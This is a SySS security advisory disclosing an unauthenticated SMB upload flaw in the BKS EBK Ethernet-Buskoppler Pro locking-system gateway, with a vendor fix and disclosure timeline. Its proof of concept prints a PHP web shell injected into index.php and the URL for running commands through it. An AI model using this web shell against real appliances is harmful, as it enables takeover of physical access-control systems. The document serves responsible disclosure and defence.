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Advisory ID: SYSS-2019-017
Product: BKS EBK Ethernet-Buskoppler Pro
Manufacturer: BKS GmbH
Affected Version(s): < 3.01
Vulnerability Type: Unrestricted Upload of File with Dangerous Type (CWE-434) 
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: April 23, 2019
Solution Date: June 14, 2019
Public Disclosure: July 03, 2019
CVE Reference: CVE-2019-12971
Author of Advisory: Sebastian Auwaerter, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

The "EBK Ethernet-Buskoppler Pro" appliance provided by BKS GmbH is a
gateway to communicate with the access terminals of BKS locking systems.
The appliance is generally attached to a company's IP-based network and
communicates with the locking systems via a proprietary bus system.

Due to an unauthenticated upload functionality through Samba, the BKS
Ethernet-Buskoppler Pro is vulnerable to remote code execution.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

An unauthenticated attacker can connect to an Ethernet-Buskoppler Pro
using any client that supports uploading files via SMB (e.g. smbclient,
Nautilus, Windows Explorer) and overwrite files located in the web root
directory of the appliance. After adding a web shell to any of the
existing PHP scripts, the attacker can execute it by accessing the
edited script via the web server listening on the TCP port 443.

According to BKS, only Appliances based on a Raspberry Pi 3 are affected
since the vulnerability has been introduced during an upgrade from
Raspberry Pi 2 to 3.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

As proof-of-concept, the file index.php can be altered via SMB
(e.g. gedit smb://<VULNERABLE_HOST>/webinterface/index.php) to allow a 
web shell in the context of the user account www-data:

- ----------------
index.php:
<?php 

if ($_REQUEST['pw'] === "very-secure-password"){
  system($_REQUEST['cmd']);
}
set_include_path('/var/www/ebkpro_website');
include 'include/debug.php';
[...]
- ----------------

The web shell can then be used to execute commands by navigating to the
following URL:

http://<VULNERABLE_HOST>:80/index.php?pw=very-secure-password&cmd=<COMMAND>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

BKS provides update packages for the EBK Ethernet-Buskoppler. The updater
in version 1.2.1.2 contains firmware version 3.01 which fixes the
vulnerability. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2019-04-10: Vulnerability discovered
2019-04-23: Vulnerability reported to manufacturer
2019-06-14: Patch released by manufacturer
2019-07-03: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] SySS Security Advisory SYSS-2019-017
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-017.txt
[2] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Sebastian Auwaerter of SySS
GmbH.

E-Mail: sebastian.auwaerter@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Auwaerter.asc
Key Fingerprint: F98C 3E12 6713 19D9 9E2F BE3E E9A3 0D48 E2F0 A8B6

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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